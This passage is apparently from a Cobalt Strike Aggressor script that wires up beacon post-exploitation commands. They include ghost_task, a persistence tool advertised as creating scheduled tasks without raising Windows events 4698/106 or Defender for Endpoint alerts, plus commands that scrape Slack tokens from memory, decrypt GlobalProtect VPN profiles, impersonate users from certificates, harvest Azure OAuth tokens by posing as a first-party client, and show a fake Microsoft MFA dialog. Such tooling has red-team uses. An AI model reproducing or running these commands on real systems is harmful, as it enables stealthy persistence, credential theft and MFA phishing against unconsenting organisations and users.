if($scheduletype eq "weekly") {
|
|
$time = lc($9);
|
|
$day = lc($10);
|
|
$args = bof_pack($bid, "izzzzzzzzz", $arglen, $hostname, $operation, $taskname, $program, $argument, $username, $scheduletype, $time, $day);
|
|
}
|
|
else if ($scheduletype eq "second") {
|
|
$time = lc($9);
|
|
$args = bof_pack($bid, "izzzzzzzz", $arglen, $hostname, $operation, $taskname, $program, $argument, $username, $scheduletype, $time);
|
|
}
|
|
else if ($scheduletype eq "daily") {
|
|
$time = lc($9);
|
|
$args = bof_pack($bid, "izzzzzzzz", $arglen, $hostname, $operation, $taskname, $program, $argument, $username, $scheduletype, $time);
|
|
}
|
|
else if ($scheduletype eq "logon") {
|
|
$args = bof_pack($bid, "izzzzzzz", $arglen, $hostname, $operation, $taskname, $program, $argument, $username, $scheduletype);
|
|
}
|
|
else {
|
|
berror($bid, "Unknown schedule type.\n");
|
|
return;
|
|
}
|
|
}
|
|
else if($operation eq "delete")
|
|
{
|
|
if ($arglen < 4) {
|
|
berror($bid, beacon_command_detail("ghost_task"));
|
|
return;
|
|
}
|
|
$taskname = lc($4);
|
|
$args = bof_pack($bid, "izzz", $arglen, $hostname, $operation, $taskname);
|
|
}
|
|
else
|
|
{
|
|
berror($bid, beacon_command_detail("ghost_task"));
|
|
return;
|
|
}
|
|
beacon_inline_execute($bid, readbof($bid, "ghost_task"), "go", $args);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"ghost_task",
|
|
"Create or modify a local or remote scheduled task, without triggering Windows events 4698 and 106.",
|
|
"
|
|
Command: ghost_task
|
|
Summary: Create or modify a local or remote scheduled task, without triggering
|
|
Windows events 4698 and 106.
|
|
Usage: ghost_task [HOSTNAME/LOCALHOST] [OPERATION] [TASKANME] [PROGRAM] [ARGUMENT] [USERNAME] [SCHEDULETYPE] [TIME/SECOND] [DAY]
|
|
- HOSTNAME/LOCALHOST: Remote computer name or localhost.
|
|
- OPERATION: add/delete
|
|
- add: Create or modify a scheduled task using only registry keys. Requires restarting the Schedule service to load the task definition.
|
|
- delete: Delete a scheduled task. Requires restarting the Schedule service to offload the task.
|
|
- TASKANME: Name of the scheduled task.
|
|
- PROGRAM: Program to be executed.
|
|
- ARGUMENT: Arguments for the program.
|
|
- USERNAME: User account under which the scheduled task will run.
|
|
- SCHEDULETYPE: Supported triggers: second, daily, weekly, and logon.
|
|
- TIME/SECOND (applicable for 'second', 'daily', and 'weekly' triggers):
|
|
- For 'second' trigger: Specify the frequency in seconds for task execution.
|
|
- For 'daily' and 'weekly' triggers: Specify the exact time (e.g., 22:30) for task execution.
|
|
- DAY (applicable for 'weekly' trigger): Days to execute the scheduled task (e.g., monday, thursday).
|
|
Note: As of October 21, 2023, this tool has been tested on Windows 10, Windows Server 2016, 2019, and 2022
|
|
As of October 21, 2023, no alert and no scheduled task creation event (ScheduledTaskCreated action type) will be generated in MDE (Microsoft Defender For Endpoint)
|
|
To create a scheduled task using this tool, NT AUTHORITY/SYSTEM privileges are required
|
|
After configuring the scheduled task, you'll need to either restart the system or await the next reboot for the task to be loaded into the Schedule service process and subsequently executed
|
|
"
|
|
);
|
|
|
|
# slack_cookie [PID]
|
|
alias slack_cookie
|
|
{
|
|
local('$pid $args');
|
|
if(size(@_) != 2)
|
|
{
|
|
berror($1, "usage: slack_cookie <pid>");
|
|
return;
|
|
}
|
|
$pid = parseNumber($2, 10);
|
|
berror($1, $pid);
|
|
|
|
$args = bof_pack($1, "i", $pid);
|
|
beacon_inline_execute($1, readbof($1, "slack_cookie"), "go", $args);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"slack_cookie",
|
|
"Searches memory for Slack tokens",
|
|
"Command: slack_cookie
|
|
|
|
Usage: slack_cookie [PID] "
|
|
);
|
|
|
|
# shutdown [HOSTNAME] \"[MESSAGE]\" [TIME] [CLOSEAPPS] [REBOOT]
|
|
beacon_command_register(
|
|
"shutdown",
|
|
"Shutdown or reboot a local or remote system in the number of seconds provided",
|
|
"
|
|
Command: shutdown
|
|
Summary: Shutdown or reboot the local/remote system with or without a message, with or withough allowing the closing of apps in
|
|
the time specified. WARNING: non-zero times will prompt the user. Obviously, remote requires administrative privileges.
|
|
Usage: shutdown [HOSTNAME] \"[MESSAGE]\" [TIME] [CLOSEAPPS] [REBOOT]
|
|
- HOSTNAME: For localhost use \"\"
|
|
- \"[MESSAGE]\": For no message use \"\". Make sure to enclose in quotes.
|
|
- [TIME]: The number of seconds before the shutdown/reboot.
|
|
- 0 for immediately.
|
|
- WARNING: Anything non-zero will prompt user with <message>
|
|
- CLOSEAPPS: Whether or not to allow the user to save/close applications
|
|
- 0 to allow user to save before closing application
|
|
- 1 for close applications with unsaved changes
|
|
- REBOOT:
|
|
- 1 to reboot the system after shutdown
|
|
- 0 to have it stay off (shutdown)
|
|
|
|
|
|
NOTE: The flags (SHTDN_REASON_MAJOR_OPERATINGSYSTEM | SHTDN_REASON_MINOR_SECURITYFIX | SHTDN_REASON_FLAG_PLANNED) for security patch,
|
|
planned reboot are hard-coded but may be added later as changeable or may be changed in entry.c.
|
|
"
|
|
);
|
|
|
|
alias shutdown {
|
|
local('$bid $hostname $message $time $ca $rb $barch $str');
|
|
($bid, $hostname, $message, $time, $ca, $rb) = @_;
|
|
# $bid = $1;
|
|
# $hostname = $2;
|
|
# $message = $3;
|
|
# $time = $4;
|
|
# $ca = $5;
|
|
# $rb = $6;
|
|
|
|
if($time eq $null || $ca eq $null || $rb eq $null) {
|
|
berror($bid, beacon_command_detail("shutdown"));
|
|
return;
|
|
}
|
|
|
|
if( ($ca != 0 && $ca != 1) || ($rb != 0 && $rb != 1) ) {
|
|
berror($bid, beacon_command_detail("shutdown"));
|
|
return;
|
|
}
|
|
|
|
if(bdata($bid)['computer'] ismatch "(?i)$hostname" || bdata($bid)['computer'] ismatch "(?i)localhost") { $hostname = $null; }
|
|
|
|
$str = "Issuing " . iff(($rb == 0), "shutdown", "reboot") . " to " . iff(($hostname eq ""), "localhost", $hostname) . " in $time seconds" . iff(($message eq ""), ".", " with message '" . $message . "'.") .
|
|
" Applications " . iff(($ca eq 0), "closed after user save", "closed without chance to save" . ".\n");
|
|
btask($bid, $str, "T1529");
|
|
|
|
$args = bof_pack($bid, "zziss", $hostname, $message, $time, $ca, $rb);
|
|
beacon_inline_execute($bid, readbof($bid, "shutdown"), "go", $args);
|
|
|
|
}
|
|
|
|
# global_unprotect
|
|
alias global_unprotect {
|
|
beacon_inline_execute($1, readbof($1, "global_unprotect"), "go", $null);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"global_unprotect",
|
|
"Attempts to find, decrypt, and download Global Protect VPN profiles and HIP settings"
|
|
"Usage: global_unprotect
|
|
|
|
There are no arguments to this command"
|
|
)
|
|
|
|
sub bschtaskscreate
|
|
{
|
|
local('$server $taskpath $taskxml $dialog $fpath $fp $bid $fdata $mode $index $force $args');
|
|
$bid = $1;
|
|
$server = "";
|
|
$fp = $null;
|
|
$taskpath = $2;
|
|
$mode = 1;
|
|
$force = 1;
|
|
$fpath = $3;
|
|
if(!-canread $fpath)
|
|
{
|
|
berror($bid, "Unable to read the xml task definition file: $fpath");
|
|
return;
|
|
}
|
|
$fp = openf($fpath);
|
|
$fdata = readb($fp, -1);
|
|
closef($fp);
|
|
|
|
$args = bof_pack($bid, "ZZZii", $server, $taskpath, $fdata, $mode, $force);
|
|
beacon_inline_execute($bid, readbof($bid, "schtaskscreate"), "go", $args);
|
|
}
|
|
|
|
# make_token_cert [PFX LOCAL PATH] [OPT:PFX PASSWORD]
|
|
alias make_token_cert
|
|
{
|
|
local('$handle $certpath $cert $password $args');
|
|
if(size(@_) < 2)
|
|
{
|
|
berror($1, "usage: make_token_cert [.PFX LOCAL PATH] [OPT:PFX PASSWORD]");
|
|
return;
|
|
}
|
|
$certpath = $2;
|
|
$password = iff($3, $3, "");
|
|
if(!-canread $certpath)
|
|
{
|
|
berror($1, "Unable to read $certpath on local system");
|
|
return;
|
|
}
|
|
$handle = openf($certpath);
|
|
$cert = readb($handle, -1);
|
|
closef($handle);
|
|
|
|
$args = bof_pack($1, "bZ", $cert, $password);
|
|
beacon_inline_execute($1, readbof($1, "make_token_cert"), "go", $args);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"make_token_cert",
|
|
"Applies an impersonation token based on the Alt Name in a supplied .pfx file",
|
|
"Command: make_token_cert
|
|
|
|
Usage make_token_cert [PFX LOCAL PATH] [OPT:PFX PASSWORD]
|
|
|
|
Takes the path to a .pfx and optionally the password to decrypt the .pfx.
|
|
Reads it into the certificate store for the current user and creates an impersonation token with it.
|
|
Then deletes it from the users certificate store.");
|
|
|
|
# get_azure_token [CLIENT ID] [SCOPE] [BROWSER] [OPT:HINT] [OPT:BROWSER PATH]
|
|
alias get_azure_token
|
|
{
|
|
#I'm going to do validation on the bof side since that works more cross implant
|
|
local('$clientid $scope $browserType $hint $browserPath $args')
|
|
if(size(@_) < 4)
|
|
{
|
|
berror($1, beacon_command_detail("get_azure_token"));
|
|
return;
|
|
}
|
|
$clientid = $2;
|
|
$scope = $3;
|
|
$browserType = $4;
|
|
$hint = iff(-istrue $5, $5, "");
|
|
$browserPath = iff(-istrue $6, $6, "");
|
|
$args = bof_pack($1, "zzizz", $clientid, $scope, $browserType, $hint, $browserPath);
|
|
beacon_inline_execute($1, readbof($1, "get_azure_token"), "go", $args);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"get_azure_token",
|
|
"perform an OAuth code grant against azure and print the returned tokens",
|
|
"Usage: get_azure_token [CLIENT ID] [SCOPE] [BROWSER] [OPT:HINT] [OPT:BROWSER PATH]
|
|
|
|
The client_id specified must already have consent in the tennant and accept http://localhost as the redirect URL
|
|
see https://github.com/dirkjanm/ROADtools/blob/master/roadtx/roadtools/roadtx/firstpartyscopes.json for many examples.
|
|
|
|
scope must match what is expected for the given client_id. These can similarly be found in the roadtools link above.
|
|
|
|
hint if provided should match the email of the user who you want to authenticate as. There must exist an existing saved login for said user.
|
|
When not provided this command will fail if more then one saved login exists.
|
|
|
|
browser_path is the full path the the browser executable. Use it if non-standard path or browser is used.
|
|
|
|
browser should an integer with one of the following values:
|
|
0 (edge)
|
|
1 (chrome)
|
|
2 (default)
|
|
3 (other)
|
|
default in this context means whatever the user has set as the default link handler for https.
|
|
|
|
Example:
|
|
Log into azure pretending to be the first party Azure powershell module (Connect-AZAccount)
|
|
get_azure_token 1950a258-227b-4e31-a9cf-717495945fc2 \"74658136-14ec-4630-ad9b-26e160ff0fc6/user_impersonation offline_access openid profile\" 2 \"your azure email here\"
|
|
|
|
"
|
|
);
|
|
|
|
alias ask_mfa {
|
|
local('$mfa_number $args');
|
|
if(size(@_) != 2)
|
|
{
|
|
berror($1, "usage: ask_mfa <mfa_number>");
|
|
return;
|
|
}
|
|
$mfa_number = parseNumber($2, 10);
|
|
|
|
# Validate MFA number range (typically 0-99 for 2-digit codes)
|
|
if($mfa_number < 0 || $mfa_number > 99)
|
|
{
|
|
berror($1, "MFA number should be between 0-99");
|
|
return;
|
|
}
|
|
|
|
$args = bof_pack($1, "i", $mfa_number);
|
|
beacon_inline_execute($1, readbof($1, "ask_mfa"), "go", $args);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"ask_mfa",
|
|
"Displays a fake Microsoft MFA approval dialog",
|
|
"Command: ask_mfa\n\nUsage: ask_mfa [NUMBER]\n\nDisplays a fake Microsoft Authenticator approval dialog with the specified number.\nThe dialog auto-closes after 30 seconds or when the user closes it.\n\nExample: ask_mfa 42"
|
|
); |